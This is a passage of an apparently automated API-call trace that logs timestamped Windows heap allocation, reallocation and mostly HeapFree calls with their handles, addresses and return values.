hHeap=0x790000) returned 1 [0196.252] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.255] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.255] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0048 | out: hHeap=0x790000) returned 1 [0196.929] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d13f8 | out: hHeap=0x790000) returned 1 [0196.929] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0048 | out: hHeap=0x790000) returned 1 [0196.931] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7dbe00, Size=0x4000) returned 0x7fea38 [0196.935] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0048 | out: hHeap=0x790000) returned 1 [0197.093] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0048 | out: hHeap=0x790000) returned 1 [0197.094] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fea38, Size=0x8000) returned 0x7fea38 [0197.199] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0197.636] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0197.637] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.637] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.637] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.637] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.638] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.638] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.638] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.698] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.700] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.700] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.701] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.701] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.708] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4341430 | out: hHeap=0x790000) returned 1 [0197.709] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4341430 | out: hHeap=0x790000) returned 1 [0197.709] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4341430 | out: hHeap=0x790000) returned 1 [0197.712] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4341430 | out: hHeap=0x790000) returned 1 [0197.712] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4341430 | out: hHeap=0x790000) returned 1 [0197.714] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4341430 | out: hHeap=0x790000) returned 1 [0197.714] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4341430 | out: hHeap=0x790000) returned 1 [0197.714] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4341430 | out: hHeap=0x790000) returned 1 [0197.714] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4341430 | out: hHeap=0x790000) returned 1 [0197.718] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4341430 | out: hHeap=0x790000) returned 1 [0197.719] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.720] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.721] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.721] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.721] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.775] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.776] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.776] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.780] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.780] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.781] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.781] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.783] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.783] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.783] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.783] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.785] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.785] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.785] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.785] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.787] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.788] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.788] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.788] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.790] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0197.790] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.790] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.790] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0197.791] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0197.803] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0198.031] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0198.031] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0198.044] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0198.044] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0198.787] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0198.788] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0198.788] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0198.789] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0198.789] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0198.867] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0198.868] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0199.037] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4371440 | out: hHeap=0x790000) returned 1 [0199.038] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0199.040] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0199.041] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0199.041] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0199.598] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0199.599] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0199.599] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0199.831] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4371440 | out: hHeap=0x790000) returned 1 [0199.832] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0200.190] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0200.191] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0200.191] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0200.205] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0200.206] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4371440 | out: hHeap=0x790000) returned 1 [0200.207] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4371440 | out: hHeap=0x790000) returned 1 [0200.207] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4371440 | out: hHeap=0x790000) returned 1 [0200.207] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0201.712] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0201.757] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0201.760] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0201.761] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311400 | out: hHeap=0x790000) returned 1 [0201.845] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321408 | out: hHeap=0x790000) returned 1 [0201.847] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321408 | out: hHeap=0x790000) returned 1 [0201.850] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321408 | out: hHeap=0x790000) returned 1 [0201.872] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321408 | out: hHeap=0x790000) returned 1 [0201.904] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321408 | out: hHeap=0x790000) returned 1 [0202.039] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321408 | out: hHeap=0x790000) returned 1 [0202.052] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43b1460 | out: hHeap=0x790000) returned 1 [0202.052] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321408 | out: hHeap=0x790000) returned 1 [0202.054] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321408 | out: hHeap=0x790000) returned 1 [0202.157] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321408 | out: hHeap=0x790000) returned 1 [0202.334] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321408 | out: hHeap=0x790000) returned 1 [0202.334] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311400 | out: hHeap=0x790000) returned 1 [0202.337] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4371440 | out: hHeap=0x790000) returned 1 [0202.337] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0202.387] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4371440 | out: hHeap=0x790000) returned 1 [0202.563] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0202.628] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4371440 | out: hHeap=0x790000) returned 1 [0203.585] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0203.589] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331410 | out: hHeap=0x790000) returned 1 [0203.589] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0203.589] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4371440 | out: hHeap=0x790000) returned 1 [0203.593] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0203.890] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0203.892] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331410 | out: hHeap=0x790000) returned 1 [0203.892] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4371440 | out: hHeap=0x790000) returned 1 [0203.895] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4371440 | out: hHeap=0x790000) returned 1 [0204.035] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4371440 | out: hHeap=0x790000) returned 1 [0204.038] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4371440 | out: hHeap=0x790000) returned 1 [0204.626] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4371440 | out: hHeap=0x790000) returned 1 [0204.626] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4371440 | out: hHeap=0x790000) returned 1 [0204.816] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331410 | out: hHeap=0x790000) returned 1 [0204.820] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331410 | out: hHeap=0x790000) returned 1 [0204.820] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331410 | out: hHeap=0x790000) returned 1 [0205.133] HeapFree (hHeap=0x790000, dwFlags=0x0, lpMem=0x4331410) [0205.133] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331410 | out: hHeap=0x790000) returned 1 [0205.133] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4371440 | out: hHeap=0x790000) returned 1 [0205.151] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43a1458 | out: hHeap=0x790000) returned 1 [0205.186] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43a1458 | out: hHeap=0x790000) returned 1 [0205.709] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43a1458 | out: hHeap=0x790000) returned 1 [0205.781] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43a1458 | out: hHeap=0x790000) returned 1 [0205.797] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43a1458 | out: hHeap=0x790000) returned 1 [0205.823] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331410 | out: hHeap=0x790000) returned 1 [0205.828] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0205.828] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0205.828] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0205.882] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0206.090] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0206.401] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0206.451] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0206.514] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0206.789] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0207.019] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0207.052] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0207.059] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0207.107] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0207.140] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0207.300] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0207.380] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0207.438] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0207.471] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0207.610] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0207.655] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0207.660] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0207.670] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0207.704] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0207.763] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0207.806] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0207.857] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0207.905] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0207.926] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0208.042] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43c1468 | out: hHeap=0x790000) returned 1 [0208.069] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43c1468 | out: hHeap=0x790000) returned 1 [0208.094] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43c1468 | out: hHeap=0x790000) returned 1 [0208.097] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43c1468 | out: hHeap=0x790000) returned 1 [0208.223] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43c1468 | out: hHeap=0x790000) returned 1 [0208.269] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43c1468 | out: hHeap=0x790000) returned 1 [0208.281] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43c1468 | out: hHeap=0x790000) returned 1 [0208.434] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43c1468 | out: hHeap=0x790000) returned 1 [0208.445] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43c1468 | out: hHeap=0x790000) returned 1 [0208.460] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43c1468 | out: hHeap=0x790000) returned 1 [0208.490] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43c1468 | out: hHeap=0x790000) returned 1 [0208.544] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43c1468 | out: hHeap=0x790000) returned 1 [0208.644] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43c1468 | out: hHeap=0x790000) returned 1 [0208.898] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43c1468 | out: hHeap=0x790000) returned 1 [0208.937] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43c1468 | out: hHeap=0x790000) returned 1 [0208.962] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43c1468 | out: hHeap=0x790000) returned 1 [0208.966] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43c1468 | out: hHeap=0x790000) returned 1 [0209.018] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43c1468 | out: hHeap=0x790000) returned 1 [0209.078] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43c1468 | out: hHeap=0x790000) returned 1 [0209.154] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43c1468 | out: hHeap=0x790000) returned 1 [0209.154] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4411470 | out: hHeap=0x790000) returned 1 [0209.154] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4401468 | out: hHeap=0x790000) returned 1 [0209.278] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43c1468 | out: hHeap=0x790000) returned 1 [0209.399] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0209.444] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0209.481] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0209.525] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0209.637] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0209.724] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0209.824] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0209.917] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0210.468] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0212.057] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0213.274] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0217.320] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0217.556] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0217.867] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0218.308] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0218.411] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0218.468] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0218.574] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0218.821] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0218.852] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0218.855] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0218.997] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0219.037] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0219.047] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0219.071] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0219.153] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0219.272] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0219.533] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0219.638] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0219.720] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0219.780] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0219.857] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0219.862] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0219.862] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0219.872] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0219.883] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0219.884] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0219.892] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0219.893] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0219.896] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0219.898] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0219.901] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0219.905] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0219.905] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0219.906] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0219.915] 